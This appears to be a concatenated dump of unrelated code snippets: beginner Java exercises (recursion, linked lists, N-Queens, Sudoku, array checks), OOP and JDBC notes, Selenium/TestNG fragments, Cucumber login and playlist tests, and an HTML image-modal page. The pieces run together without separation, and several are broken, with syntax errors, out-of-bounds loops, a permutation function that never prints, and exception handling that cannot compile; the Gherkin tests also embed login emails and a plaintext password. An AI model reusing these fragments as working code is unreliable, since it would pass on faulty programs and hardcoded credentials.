        if(s.size()==0) return s;
        int x= (int) s.pop();
        reverseStack(s);
        bottomPush(s,x);
        return s;
    }
    public static void main(String[] args){
        Stack <Integer> s=new Stack<>();
        s.push(1);
        s.push(2);
        s.push(3);
        s.push(4);
        System.out.println(s);
        System.out.println(stringReverse("a"));
        System.out.println(reverseStack(s));
    }
}
public class KeypadSolution {
    public static void printKeypad(int input,String output) {
        if (input == 0) {
            System.out.println(output);
            return;
        }
        int rem = input % 10;
        char[] helperArray = helper(rem);
        printKeypad(input / 10, helperArray[0] + output);
        printKeypad(input / 10, helperArray[1] + output);
        printKeypad(input / 10, helperArray[2] + output);
        if (helperArray.length == 4) printKeypad(input / 10, helperArray[3] + output);
    }

    public static char[] helper(int n){
                 if (n == 2) return new char[]{'a', 'b', 'c'};
            else if (n == 3) return new char[]{'d', 'e', 'f'};
            else if (n == 4) return new char[]{'g', 'h', 'i'};
            else if (n == 5) return new char[]{'j', 'k', 'l'};
            else if (n == 6) return new char[]{'m', 'n', 'o'};
            else if (n == 7) return new char[]{'p', 'q', 'r', 's'};
            else if (n == 8) return new char[]{'t', 'u', 'v'};
            else if (n == 9) return new char[]{'w', 'x', 'y', 'z'};
            else             return new char[]{' '};
        }
    public static void main(String[] args){
        printKeypad(97,"");
        }
}
import java.util.*;
public class LinkedList {
    public static class Node{
        int data;
        Node next;
        public Node (int data) {
            this.data = data;
            this.next = null;
        }
    }
    public static Node head;
    public static Node tail;
    public static int size;

    public void addFirst(int data){
        Node newNode=new Node(data);
        size++;
        if(head==null){
            head=tail=newNode;
            return;
        }
        newNode.next=head;
        head=newNode;
    }

    public void addLast(int data){
        Node newNode= new Node(data);
        tail.next=newNode;
        newNode.next=null;
        tail=newNode;
    }

    public void add(int idx, int data){
        if(idx==0){
            addFirst(data);
        }
        else{
            Node newNode=new Node(data);
            size++;
            Node temp=head;
            int i=0;
            while(i<idx-1){
                temp=temp.next;
                i++;
            }
            newNode.next=temp.next;
            temp.next=newNode;
        }
    }

    public void printLL(LinkedList ll){
        Node temp=ll.head;
        while(temp!=null){
            System.out.print(temp.data + "->");
            temp=temp.next;
        }
        System.out.println("null");
    }

    public Node findMid(Node head){
        Node slow=head;
        Node fast=head;
        while(fast!=null &&  fast.next!=null){
            slow=slow.next;
            fast=fast.next.next;
        }
        return slow;
    }

    public boolean checkPalindrome(){
        if(head==null || head.next==null) return true;
        Node midNode=findMid(head);
        Node prev=null;
        Node curr=midNode;
        Node next;
        while(curr!=null){
            next=curr.next;
            curr.next=prev;
            prev=curr;
            curr=next;
        }
        Node right=prev;
        Node left=head;
        while(right!=null){
            if(left.data!=right.data) return false;
            left = left.next;
            right=right.next;
        }
        return true;

    }

    public static void main(String[] args){
        LinkedList ll = new LinkedList();
        ll.addFirst(1);
        ll.addLast(2);
        ll.addLast(3);
        ll.addLast(1);
        ll.add(3,2);
        //ll.printLL(ll);
        System.out.println(ll.checkPalindrome());

    }
}
Game game = new Game();

// Earn some gold
game.earnGold(200);

// Buy an upgrade
game.buyUpgrade("Upgrade");

// Buy an invention
game.buyInvention("Invention");

// Upgrade the character
game.upgradeCharacter("Character");
public class Game {
  // Instance variables to hold the player's gold and inventory
  private int gold;
  private List<String> inventory;

  // Constructor to initialize the game
  public Game() {
    gold = 0;
    inventory = new ArrayList<>();
  }

  // Method to earn gold
  public void earnGold(int amount) {
    gold += amount;
  }

  // Method to buy an upgrade
  public void buyUpgrade(String upgrade) {
    if (gold >= 100) {
      gold -= 100;
      inventory.add(upgrade);
    }
  }

  // Method to buy an invention
  public void buyInvention(String invention) {
    if (gold >= 1000) {
      gold -= 1000;
      inventory.add(invention);
    }
  }

  // Method to get the player's gold
  public int getGold() {
    return gold;
  }

  // Method to get the player's inventory
  public List<String> getInventory() {
    return inventory;
  }

  // Method to upgrade the character
  public void upgradeCharacter(String character) {
    if (inventory.contains("Upgrade")) {
      // Upgrade the character here
    }
  }

  // Main method to run the game
  public static void main(String[] args) {
    Game game = new Game();

    // Earn some gold
    game.earnGold(200);

    // Buy an upgrade
    game.buyUpgrade("Upgrade");

    // Buy an invention
    game.buyInvention("Invention");

    // Upgrade the character
    game.upgradeCharacter("Character");
  }
}
public class PJJJeden {

    public static void main(String[] args) {
        int number = 12354;
        int c = Count(number);

        int[] digits = new int[c];

        for (int i = c - 1; i >= 0; i--) {
            digits[i] = number % 10;
            number = number / 10;
        }
        for (int number : digits) {
            System.out.println(number);
        }
    }
    public static int Count(int number) {
        int count = 0;
        while (number != 0) {
            number = number / 10;
            count++;
        }
        return count;
    }
}
import java.util.Arrays;
import java.util.Scanner;
public  class Main {
    public static void permut(String s, String ans) {
        String news="";
         if(news.length()==s.length()) {
             System.out.println(ans);
             return;
         }
         for(int i=0;i<s.length();i++){
             char curr=s.charAt(i);
             news =s.substring(0,i) + s.substring(i+1);
             permut(news,ans+curr);
         }
}
public static void main(String[] args) {
        String s="abc";
        permut(s,"");
    }
}
public class Main2 {
    public static void subSets(String s, String sb,int i){
        if(i==s.length()) {
            System.out.println(sb);
            return;
        }
        subSets(s,sb+s.charAt(i),i+1);
        subSets(s,sb,i+1);
    }
    public static void main(String[] args){
        String s="aef";
        subSets(s,"",0);
    }
}
public class Main3
{
    public static void nQueens( char[][] board,int row){
        if(row== board.length) {
            printBoard(board);
            return;
        }
        for (int j = 0; j < board.length; j++) {
           if(isSafe(board,row,j)){
               board[row][j]='Q';
               nQueens(board,row+1);
               board[row][j]='X';
           }
        }
    }
    public static void printBoard(char[][] board){
        System.out.println("---------chess board---------");
        for (char[] chars : board) {
            for (int j = 0; j < board.length; j++) {
                System.out.print(chars[j] + " ");
            }
            System.out.println();
        }
    }
    public static boolean isSafe(char[][] board,int row,int col){
        for(int i=row-1;i>=0;i--){
            if(board[i][col]=='Q') return false;
        }
        for(int i=row-1,j=col+1;i>=0&&j< board.length;i--,j++){
            if(board[i][j]=='Q') return false;
        }
        for(int i=row-1,j=col-1;i>=0&&j>=0;i--,j--){
            if(board[i][j]=='Q') return false;
        }
        return true;
    }
    public static void main(String[] args){
        int n=8;
        char[][] board=new char[n][n];
        for (int i = 0; i < n; i++) {
            for (int j = 0; j < n; j++) {
                board[i][j]='X';
            }
        }
        nQueens(board,0);
    }
}
public class Main4 {
    public static boolean SudokuSolver(int[][] sudoku,int row, int col ){
       if(row==9) return true;

        int nextRow=row,nextCol=col+1;
       if(col+1==9){
           nextRow=row+1;
           nextCol=0;
       }
       if(sudoku[row][col]!=0) return  SudokuSolver(sudoku,nextRow,nextCol);
       for(int digit=1;digit<10;digit++){
           if(isSafe(sudoku,row,col,digit)){
               sudoku[row][col]=digit;
               if(SudokuSolver(sudoku,nextRow,nextCol)) return true;
               sudoku[row][col]=0;
           }
       }
       return false;
    }

    public static boolean isSafe(int [][] sudoku,int row, int col, int digit){
        for (int i = 0; i < 9; i++) {
            if(sudoku[i][col]==digit) return false;
        }
        for(int j=0;j<9;j++){
            if(sudoku[row][j]== digit) return false;
        }
        int sr=(row/3)*3, sc=(col/3)*3;
        for(int i=0;i<3;i++){
            for(int j=0;j<3;j++){
                if(sudoku[sr+i][sc+j]==digit) return false;
            }
        }
        return true;
    }

    public static void main(String[] args){
        int sudoku[][]={
                { 3, 0, 6, 5, 0, 8, 4, 0, 0 },
                { 5, 2, 0, 0, 0, 0, 0, 0, 0 },
                { 0, 8, 7, 0, 0, 0, 0, 3, 1 },
                { 0, 0, 3, 0, 1, 0, 0, 8, 0 },
                { 9, 0, 0, 8, 6, 3, 0, 0, 5 },
                { 0, 5, 0, 0, 9, 0, 6, 0, 0 },
                { 1, 3, 0, 0, 0, 0, 2, 5, 0 },
                { 0, 0, 0, 0, 0, 0, 0, 7, 4 },
                { 0, 0, 5, 2, 0, 6, 3, 0, 0 }
        };

        if(SudokuSolver(sudoku,0,0)){
            System.out.println("Solution exists");
            for (int i = 0; i < 9; i++) {
                for (int j=0;j<9;j++){
                    System.out.print(sudoku[i][j]+" ");
                }
                System.out.println();
            }
        }
    }
}
import java.util.Arrays;
import java.util.Scanner;

public class PJJJeden {

    public static void main(String[] args) {
        Kwadrat();
    }
    static void Kwadrat(){
        Scanner sc = new Scanner(System.in);
        int a = sc.nextInt();
        System.out.println();
        int b = sc.nextInt();
        int result = 1;
        for(int i = 0; i < b; i++){
            result = result * a;
        }
        System.out.println(result);
    }
}
// class Fruit
public class Fruit {
    public String name;
    public double weight;
    Fruit(String name){
        this.name = name;
        this.weight = Math.random()*0.3+0.5;
    }
    public void show(){
        System.out.println(name + "  " + weight);
    }
}

// class PJJJeden
public class PJJJeden {
    public static void main(String[] args) {
  
        //--------------------------//
        Fruit fruit = new Fruit("Cherry");
        fruit.show();
        //--------------------------//
    }
}
public class PJJJeden {
    public static void main(String[] args) {
        Person person = new Person();
        person.name = "Mania";
        person.surname = "Czeska";
        person.birthYear = 2002;
//oraz klasa: 
public class Person {
    public String name;
    public String surname;
    public int birthYear;
}
int nk = arr.length - 1 -n;
in (nk<n) return;
for (int i = n; i <= mk; i++)
    arr[n][i] = arr[nk][i] = arr [i][n] = arr[i][nk] = n+1;
fill (arr, n+1);
 {
		Scanner sc = new Scanner(System.in);

		System.out.println("Enter the number");

		int n = sc.nextInt();

		String num = String.valueOf(n);                              //Converting int to string type;
                      
		for(int i=0 ; i<num.length() ; i++)
 {
			switch(num.charAt(i))
   {                                                                    //checking the alphanumeric value for the digit
				case '0':
					System.out.print("zero ");
					break;
				case '1':
					System.out.print("one ");
					break;
				case '2':
					System.out.print("two ");
					break;
				case '3':
					System.out.print("three ");
					break;
				case '4':
					System.out.print("four ");
					break;
				case '5':
					System.out.print("five ");
					break;
				case '6':
					System.out.print("six ");
					break;
				case '7':
					System.out.print("seven ");
					break;
				case '8':
					System.out.print("eight ");
					break;
				case '9':
					System.out.print("nine ");
					break;
			}
		}
	}
}
import java.util.Scanner;

public class PJJJeden {

    public static void main(String[] args) {
        int[] tab = {1, 2, 3, 4, 5, 7, 8, 9, 10, 0};
        Scanner sc = new Scanner(System.in);
        System.out.print("Wartość: ");
        int wart = sc.nextInt();
        System.out.println("Wpisana wartość będzie sumą elementów tablicy: ");
        for(int i = 0; i < tab.length; i++){
            for(int j = 0; j <tab.length; j++){
                if ((tab[i] + tab[j] == wart)||(tab[j] + tab[i] == wart)){
                    System.out.println(tab[i] + " " + tab[j] );}
            }
        }
    }
}
import java.util.Arrays;
public class PJJJeden {

    public static void main(String[] args) {
        int[] tabA = {25, 14, 56, 15, 36, 36, 77, 18, 29, 49};
        int[] tabB = {25, 14, 56, 17, 38, 36, 97, 18, 69, 99};
        CheckVal(tabA, tabB);
            }

    public static boolean CheckVal(int tabA[], int tabB[]) {
        for (int i = 0; i < tabA.length; i++) {
            for (int j = 0; j < tabB.length; j++) {
                if (tabA[i] == tabB[j])
                    System.out.println(tabA[i]);
            }

        }
        return false;
    }
}
public class PJJJeden {

    public static void main(String[] args) {
        int[] tab = {25, 14, 56, 15, 36, 36, 77, 18, 29, 49};
        checkVal(tab);
    }
    public static boolean checkVal(int[] tab) {
        for (int i = 0; i < tab.length; i++) {
            if (tab[i] == tab[i + 1]) {
                System.out.println(tab[i]);
                return true;
            }
        }
        return false;
    }

}
  public static int  findIndex (int[] my_array, int t) {
        if (my_array == null) return -1;
        int len = my_array.length;
        int i = 0;
        while (i < len) {
            if (my_array[i] == t) return i;
            else i=i+1;
        }
        return -1;
    }
import java.sql.SQLOutput;
import java.util.Arrays;
import java.util.Scanner;
public class PJJJeden {
    public static boolean check(int[] tab, int x) {
        for (int i = 0; i <= tab.length; i++) {
            if (x == tab[i]) {
                return true;
            }
        }
        return false;
    }
    public static void main(String[] args) {
        int tab[] = {1, 2, 3, 4, 5};
        int a = 0;
        Scanner sc = new Scanner(System.in);
        System.out.println(" Podaj wartosc: ");
        int x = sc.nextInt();
        System.out.println(check(tab, 4));
    }
}

import java.sql.SQLOutput;
import java.util.Arrays;
import java.util.Scanner;
public class PJJJeden {
    public static void main(String[] args) {
        int my_array[] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10};
        double sum = 0;
        double count = 0;
        for(int a : my_array){
            count++;
            sum += a;
        }
        System.out.println(sum);
        System.out.println(count);
        System.out.println(sum/count);
    }
}
public class Main {
    public static void main(String[] args) {
        // write your code here
        char c = 'A';
        System.out.println(c);

        boolean fact = true;
        fact = false;
        System.out.println(fact);

        byte data = 'd';
        System.out.println(data);
    }
}
import java.awt.Dimension;
import javax.swing.ImageIcon;
import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JPanel;

public class LeftSide
{
public LeftSide()
{
JFrame frame = new JFrame("Button");
JPanel panel = new JPanel();
JButton button = new JButton("Submit");
button.setPreferredSize(new Dimension(200, 30));
button.setIcon(new ImageIcon(this.getClass().getResource("submit.gif")));
panel.add(button);
frame.add(panel);
frame.setVisible(true);
}

public static void main(String[] args)
{
new LeftSide();
}
Connection = 
  Helps our java project connect to database
Statement = 
  Helps to write and execute SQL query
ResultSet = 
  A DataStructure where the data from query result stored
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    

  After succesfully created the connect
next step is STATEMENT

Statement statement = connection.createStatement();
We use createStatement() method to create
the statement from our connection.
-The result we get from this type of statement
can only move from top to bottom,
not other way around

Statement statement = connection.
createStatement(ResultSet TYPE_SCROLL_INSENSITIVE
,ResultSet CONCUR_READ_ONLY);

-The result we get from this type of
statement can freely move between rows

Once we have statement we can run
the query and get the result to
ResultSet format 
		import java.sql.ResultSet;
        
We use the method executeQuery()
to execute our queries

ResultSet result = statement.
              executeQuery("Select * from employees");
class firstClass {
    void method1(int a) {
        System.out.println("1");
    }
}

class secondClass extends firstClass{

    public static void main(String[] args) {
        secondClass sc= new secondClass();
        sc.method1(45);
    }
}
class encapsulation {
    private int number;
    
    public int getNumber() {
        return number;
    }
    
    public void setNumber(int number){
        this.number = number;
    }
}
// Dynamic poly, Method overriding(same name, different class, same arguments(type, sequence, number, IS-A relationship)
class firstClass {
    void method1(int a) {
        System.out.println("1");
    }
}


class secondClass extends firstClass{
    void method1(String a) {
        System.out.println("2");
    }

    public static void main(String[] args) {
        firstClass fc = new firstClass();
        fc.method1(1);
        secondClass sc= new secondClass();
        sc.method1(45);
    }
}
class CompileTimePoly {
    // Static polymorphism, Method overloading(same name, same class, diff parameters:- type, number, sequence)

    void method1(int a, int b) {
        System.out.println("1");
    }

    void method1(String a, int b){
        System.out.println("2");
    }

    public static void main(String[] args) {
        CompileTimePoly compileTimePoly = new CompileTimePoly();
        compileTimePoly.method1("hello",5);
    }
}
abstract class vehicle {
    abstract void start();
}

class Bike extends vehicle {
    public void start() {
        System.out.println("Starts with kick");
    }
}

class Car extends vehicle {
    public void start() {
        System.out.println("Starts with key");
    }
    public static void main(String[] args) {
        Bike bike = new Bike();
        bike.start();
        Car car = new Car();
        car.start();
    }
}
class Pair{
    int first;
    int second;
    Pair(int first,int second){
        this.first=first;
        this.second=second;
    }
    public boolean equals(Object o) {
        if (o instanceof Pair) {
            Pair p = (Pair)o;
            return p.first == first && p.second == second;
        }
        return false;
    }
    public int hashCode() {
        return new Integer(first).hashCode() * 31 + new Integer(second).hashCode();
    }
}
import java.util.*;
import java.io.*;

public class Main{
    static class FastReader{
        BufferedReader br;
        StringTokenizer st;
        public FastReader(){
            br=new BufferedReader(new InputStreamReader(System.in));
        }
        String next(){
            while(st==null || !st.hasMoreTokens()){
                try {
                    st=new StringTokenizer(br.readLine());
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            return st.nextToken();
        }
        int nextInt(){
            return Integer.parseInt(next());
        }
        long nextLong(){
            return Long.parseLong(next());
        }
        double nextDouble(){
            return Double.parseDouble(next());
        }
        String nextLine(){
            String str="";
            try {
                str=br.readLine().trim();
            } catch (Exception e) {
                e.printStackTrace();
            }
            return str;
        }
    }
    public static void main(String[] args) {
    	FastReader sc = new FastReader();
		
    }
}
String m = Integer.toString(month);
String d = Integer.toString(day);
String y = Integer.toString(year);
String providedDate = d+"-"+m+"-"+y;
SimpleDateFormat format = new SimpleDateFormat("dd-MM-yyy");
try {
  Date date = format.parse(providedDate);
  // getting day from the date
  String actualDay = new SimpleDateFormat("EEEE").format(date);
  return actualDay.toUpperCase();
} catch(ParseException e) {
  System.out.print(e);
}
try {
     JSONObject jsonObject = new JSONObject("{\"phonetype\":\"N95\",\"cat\":\"WP\"}");
}catch (JSONException err){
     Log.d("Error", err.toString());
}
switch(expression) {
  case x:
    // code block
    break;
  case y:
    // code block
    break;
  default:
    // code block
}
int time = 20;
if (time < 18) {
  System.out.println("Good day.");
} else {
  System.out.println("Good evening.");
}
// Outputs "Good evening."
if (condition) {
  // block of code to be executed if the condition is true
} else {
  // block of code to be executed if the condition is false
}
if (20 > 18) {
  System.out.println("20 is greater than 18");
}
if (condition) {
  // block of code to be executed if the condition is true
}
String testpro1 = "TestPro";


String testpro2 = "TestPro";



system.out.println(testpro1.equals(testpro2));
int a = 7;

and

int b = 7; 

system.out.println(a == b);
class Main {
  public static void main (String[] args) {

    int a = 5;
    int b = 2;

    double result = 5/2.0;

    int c = 4;

    System.out.println (c++);
  }
}
class Main {
  public static void main (String[] args) {

    int a = 5;
    int b = 2;

    double result = 5/2.0;

    int c = 4;

    System.out.println (c++);
  }
}
class Main {
  public static void main (String[] args) {

    int a = 5;
    int b = 2;

    double result = 5/2.0;

    System.out.println (result);
  }
}
class Main {
  public static void main (String[] args) {

    int a = 7;
    int b = 8;

    int result = a%b;

    System.out.println (result);
  }
}
class Main {
  public static void main (String[] args) {

    int a = 7;
    int b = 8;

    int result = a-b;

    System.out.println (result);
  }
}
class Main {
  public static void main (String[] args) {

    int a = 7;
    int b = 8;

    int result = a+b;

    System.out.println (result);
  }
}
String greeting = "My name is"; 

String name = "Azat"; 
String stingExample = "I am string";
System.out.println ("2+2 equals 4");
System.out.println (2+2);
List<WebElement> listOfElements = driver.findElements(By.xpath("//div"));
Actions a = new Actions(driver);

//Double click on element
WebElement element = driver.findElement(By.xpath(locator));

a.doubleClick(element).perform();
Actions action = new Actions(driver); 
element = driver.findElement(By.cssLocator(locator));
action.moveToElement(element).click();
Actions action = new Actions(driver);
action.moveToElement(element).click().perform();
{
  "employees":[

    { "firstName":"John", "lastName":"Doe" },

    { "firstName":"Anna", "lastName":"Smith" },

    { "firstName":"Peter", "lastName":"Jones" }]
}
<employees>
  <employee>
    <firstName>John</firstName>
    <lastName>Doe</lastName>
  </employee>
  <employee>
    <firstName>Anna</firstName>
    <lastName>Smith</lastName>
  </employee>
  <employee>
    <firstName>Peter</firstName>
    <lastName>Jones</lastName>
  </employee>
</employees>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
body {font-family: Arial, Helvetica, sans-serif;}

#myImg {
  border-radius: 5px;
  cursor: pointer;
  transition: 0.3s;
}

img {
    -webkit-filter: brightness(100%);
}

#myImg:hover {
    -webkit-filter: brightness(80%);
    -webkit-transition: all 0.5s ease;
    -moz-transition: all 0.5s ease;
    -o-transition: all 0.5s ease;
    -ms-transition: all 0.5s ease;
    transition: all 0.5s ease;
}

/* The Modal (background) */
.modal {
  display: none; /* Hidden by default */
  position: fixed; /* Stay in place */
  z-index: 1; /* Sit on top */
  padding-top: 100px; /* Location of the box */
  left: 0;
  top: 0;
  width: 100%; /* Full width */
  height: 100%; /* Full height */
  overflow: auto; /* Enable scroll if needed */
  background-color: rgb(0,0,0); /* Fallback color */
  background-color: rgba(0,0,0,0.9); /* Black w/ opacity */
}

/* Modal Content (image) */
.modal-content {
  margin: 0 auto;
  display: block;
  width: 90%;
  max-width: 90%;
}

/* Caption of Modal Image */
#caption {
  margin: auto;
  display: block;
  width: 80%;
  max-width: 700px;
  text-align: center;
  color: #ccc;
  padding: 10px 0;
  height: 150px;
}

/* Add Animation */
.modal-content, #caption {  
  -webkit-animation-name: zoom;
  -webkit-animation-duration: 0.6s;
  animation-name: zoom;
  animation-duration: 0.6s;
}

@-webkit-keyframes zoom {
  from {-webkit-transform:scale(0)} 
  to {-webkit-transform:scale(1)}
}

@keyframes zoom {
  from {transform:scale(0)} 
  to {transform:scale(1)}
}

/* The Close Button */
.close {
  position: absolute;
  top: 20px;
  right: 65px;
  color: #ff5555;
  font-size: 40px;
  font-weight: bold;
  transition: 0.3s;
}

.close:hover,
.close:focus {
  color: #bbb;
  text-decoration: none;
  cursor: pointer;
}

/* 100% Image Width on Smaller Screens */
@media only screen and (max-width: 700px){
  .modal-content {
    width: 90%;
  }
}
.center {
  display: block;
  margin-left: auto;
  margin-right: auto;
  width: 50%;
  margin: auto;
}
    
</style>
</head>
<body>

<center><img class="myImages" id="myImg" 

src="https://lwfiles.mycourse.app/testpro-public/c453e4c73efebdbd55d7c48e24d4aca4.jpeg"

style="width:100%;max-width:700px">

<div id="myModal" class="modal">
  <span class="close">&times;</span>
  <img class="modal-content" id="img01">
  <div id="caption"></div>
</div>

<script>
// create references to the modal...
var modal = document.getElementById('myModal');

// to all images -- note I'm using a class!
var images = document.getElementsByClassName('myImages');

// the image in the modal
var modalImg = document.getElementById("img01");

// and the caption in the modal
var captionText = document.getElementById("caption");

// Go through all of the images with our custom class
for (var i = 0; i < images.length; i++) {
  var img = images[i];
 
 // and attach our click listener for this image.
  img.onclick = function(evt) {
    console.log(evt);
    modal.style.display = "block";
    modalImg.src = this.src;
    captionText.innerHTML = this.alt;
  }
}

var span = document.getElementsByClassName("close")[0];

span.onclick = function() {
  modal.style.display = "none";
}

</script>

</body>
</html>
 String result = CharStreams.toString(new InputStreamReader(
       inputStream, Charsets.UTF_8));
 String result = CharStreams.toString(new InputStreamReader(
       inputStream, Charsets.UTF_8));
@FunctionalInterface
interface Function6<One, Two, Three, Four, Five, Six> {
    public Six apply(One one, Two two, Three three, Four four, Five five);
}

public static void main(String[] args) throws Exception {
    Function6<String, Integer, Double, Void, List<Float>, Character> func = (a, b, c, d, e) -> 'z';
}
FacesContext facesContext = FacesContext.getCurrentInstance();
FacesMessage facesMessage = new FacesMessage("This is a message");
facesContext.addMessage(null, facesMessage);
<?xml version="1.0" encoding="UTF-8"?>
<LightningComponentBundle xmlns="http://soap.sforce.com/2006/04/metadata">
    <!-- The apiVersion may need to be increased for the current release -->
    <apiVersion>53.0</apiVersion>
    <isExposed>true</isExposed>
    <masterLabel>APP NAME HERE</masterLabel>
    <targets>
        <target>lightning__AppPage</target>
        <target>lightning__RecordPage</target>
        <target>lightning__HomePage</target>
    </targets>
</LightningComponentBundle>
Feature: Smoke

Scenario: User Login
Given I open the url "/"
When I set "dancefront6@gmail.com" to the inputfield "//input[@type='email']"
And I set "te$t$tudent" to the inputfield "//input[@type='password']"
And I click on the button "//button"
And I pause for 1000ms
Then I expect that element "//i[@class='fa fa-sign-out']" is displayed
# The Logout icon is displayed

Scenario: User Searches for a Song
When I set "Ketsa" to the inputfield "//input[@name='q']"
And I pause for 2000ms
Then I expect that container "//section[@class='songs']//span[@class='details']" contains the text "Ketsa"
# There is a bug in the framework - only 'container' type works here

Scenario: User Plays a Song
Given I open the url "#!/songs"
# Easier way to start the playback is from All Songs page
And I doubleclick on the button "//section[@id='songsWrapper']//td[@class='title']"
# Double click is handy here
And I pause for 2000ms
Then I expect that element "//button[@data-testid='toggle-visualizer-btn']" is displayed
# Equalizer is a solid way of checking the playback without listening the music

Scenario: User Creates a Playlist
When I click on the element "//i[@class='fa fa-plus-circle create']"
And I pause for 1000ms
And I click on the element "//li[@data-testid='playlist-context-menu-create-simple']"
And I pause for 1000ms
And I set "aa" to the inputfield "//input[@name='name']"
And I press "Enter"
# This is how you can press an any key on a keyboard
And I pause for 2000ms
Then I expect that element "//a[text()='aa']" is displayed
# Better use a text in this case since you only know that

Scenario: User Adds a Song to a Playlist
Given I open the url "#!/songs"
# Easier way to add a song to the playback is from All Songs page
When I click on the element "//tr[@class='song-item']"
# It is always a first not playing song in this case
And I pause for 1000ms
And I click on the element "//button[@class='btn-add-to']"
And I pause for 2000ms
And I click on the element "//section[@id='songsWrapper']//li[contains(text(), 'aa')]"
# Partial text here since names have extra spaces in the list for some reason
And I pause for 1000ms
And I click on the element "//a[text()='aa']"
And I pause for 1000ms
Then I expect that container "//section[@id='playlistWrapper']//td[@class='title']" contains the text "Ketsa - That_s a Beat"

Scenario: User Removes a Song from a Playlist
Given I click on the element "//a[text()='aa']"
And I pause for 1000ms
When I click on the element "//section[@id='playlistWrapper']//td[@class='title']"
And I pause for 1000ms
And I press "Delete"
# This is a secret way of deleting songs since there are no such buttons anywhere
And I pause for 1000ms
Then I expect that container "//section[@id='playlistWrapper']//div[@class='text']" contains the text "The playlist is currently empty."

Scenario: User Renames the Playlist
When I doubleclick on the element "//a[text()='aa']"
# The easiest way of getting to the rename functionality
And I pause for 1000ms
And I set "bb" to the inputfield "//input[@name='name']"
# To change the name from 'aa' to 'bb'
And I press "Enter"
And I pause for 1000ms
Then I expect that element "//a[text()='bb']" is displayed

Scenario: User Deletes the Playlist
When I click on the element "//button[@class='del btn-delete-playlist']"
And I pause for 6000ms
# It takes a while for those green messages to go away, so the Logout button is clickable
Then I expect that element "//a[text()='bb']" is not displayed
# You can also check for invisibility by adding 'not'

Scenario: User Logout
When I click on the button "//i[@class='fa fa-sign-out']"
And I pause for 2000ms
Then I expect that element "//input[@type='password']" is displayed
# You can check that user is logged out when password field is shown
Scenario: User Renames a Playlist
Given I right click on the element "// section[@id='playlists']/ul[1]/li[3]"
And I click the the option " //li[contains(@data-testid, 'playlist-context-menu-edit')]"
And I clear the inputfield
And I set "a" to the inputfield "// input[@data-testid='inline-playlist-name-input']"
And I press "enter"
Then I expect that the element " //div[@class='success show']" is displayed

Scenario: User Deletes a Playlist
Given I click on the element "// section[@id='playlists']/ul[1]/li[3]"
And I pause for 1000ms
And I click on the button " //button[@class='del btn-delete-playlist']"
Then I expect that the element " //div[@class='success show']" is displayed
Scenario: User Creates a Playlist
Given I click on the element "//i[@class='fa fa-plus-circle create']"
And I pause for 1000ms
And I click on the element "//li[@data-testid='playlist-context-menu-create-simple']"
And I pause for 1000ms
And I set "a" to the inputfield "//input[@name='name']"
And I press "enter"

Scenario: User Adds a Song to a Playlist
Given I open the url "#!/songs"
When I click on the element "//tr[@class='song-item']"
And I pause for 1000ms
And I click on the element "//button[@class='btn-add-to']"
And I pause for 2000ms
And I click on the element "//section[@id='songsWrapper']//li[contains(text(), 'aa')]"
And I pause for 1000ms
And I click on the element "//a[text()='aa']"
And I pause for 1000ms
Then I expect that container "//section[@id='playlistWrapper']//td[@class='title']" contains the text "Ketsa - That_s a Beat"

Scenario: User Removes a Song from a Playlist
Given I click on the element "//a[text()='aa']"
And I pause for 1000ms
When I click on the element "//section[@id='playlistWrapper']//td[@class='title']"
And I pause for 1000ms
And I press "Delete"
And I pause for 1000ms
Then I expect that container "//section[@id='playlistWrapper']//div[@class='text']" contains the text "The playlist is currently empty."
Scenario: User Plays a Song
Given I open the url "#!/home"
And I click on the button "//span[@class='cover']"
And I pause for 2000ms
Then I expect that element "//button[@data-testid='toggle-visualizer-btn']" is displayed
 
Scenario: User Logs Out
When I click on the button "//i[@class='fa fa-sign-out']"
And I pause for 1000ms
Then I expect that element "//input[@type='password']" is displayed
Wait wait = new FluentWait(WebDriver reference);
.withTimeout(timeout, SECONDS);
.pollingEvery(timeout, SECONDS);
.ignoring(Exception.class);
titleIs;
titleContains;
presenceOfElementLocated;
visibilityOfElementLocated;
visibilityOf;
presenceOfAllElementsLocatedBy;
textToBePresentInElement;
textToBePresentInElementValue;
frameToBeAvailableAndSwitchToIt;
invisibilityOfElementLocated;
elementToBeClickable;
stalenessOf;
elementToBeSelected;
elementSelectionStateToBe;
alertIsPresent;
WebDriverWait wait = new WebDriverWait(WebDriverRefrence,TimeOut);

wait.until(ExpectedConditions.visibilityOfElementLocated(By.xpath( "locator")));
driver.manage().timeouts().implicitlyWait(Duration.ofSeconds(60));
@BeforeMethod
@Parameters({"BaseURL"})
public void launchBrowser(String BaseURL) {
  driver = new ChromeDriver();
  driver.manage().timeouts().implicitlyWait(Duration.ofSeconds(10));
  url = BaseURL;
  driver.get(url);
}
<suite name="TestNG">
  <parameter name="BaseURL" value="http://testpro.io/"/>
    <test name="Example Test" preserve-order="false">
      <classes>
         <class name="LoginTests">
         </class>
      </classes>
    </test>
</suite>
public class DP
{
  @DataProvider (name = "data-provider")
  public Object[][] dpMethod(){
    return new Object[][] {{"First-Value"}, {"Second-Value"}};
  }

  @Test (dataProvider = "data-provider")
  public void myTest (String val) {
    System.out.println("Passed Parameter Is : " + val);
  }
}
Feature: Smoke

Scenario: User Login
Given I open the url "/"
When I set "myersjason@me.com" to the inputfield "// input [@type='email']"
And I set "te$t$tudent" to the inputfield "// input [@placeholder='Password']"
And I click on the button "button"
And I pause for 1000ms
Then I expect the url to contain "#!/home"

Scenario: Search
When I add "All" to the inputfield "//input[@type='search']"
And I pause for 1000ms
Then I expect that container "//span[@class='details']" contains the text "Mid-Air Machine - If It_s All I Do"
// While loop to repeatedly call 'something' based on its previous output
int i = 0;
while (i < 10) {
  if (something) {
    i++;
  } else {
    i += 2;
  }
}
int i = 0; // Initializing an integer with a value of 0
while (i < 10) { // While loop to repeat code until i is greater than or equal to 10
  if (something) { // Check if the 'something' method returns true
    i++; // Increase value of i by 1
  } else { // Otherwise if the 'something method' does not return true
    i += 2; // Increase value of i by 2
  }
} // End of while loop
File f;
try {
  f = new File("file.txt");
  // More stuff
} catch (FileNotFoundException e1) {
  System.out.println("That file doesn't exist!");
  f = new File("backupFile.txt");
} catch (SomeOtherException e2) {
  // Handle other exception
}
File f;
try {
  f = new File("file.txt")
  // More stuff
} catch (Exception e) {
  e.printStackTrace();
}
public class Stuff {
  int i = 1;

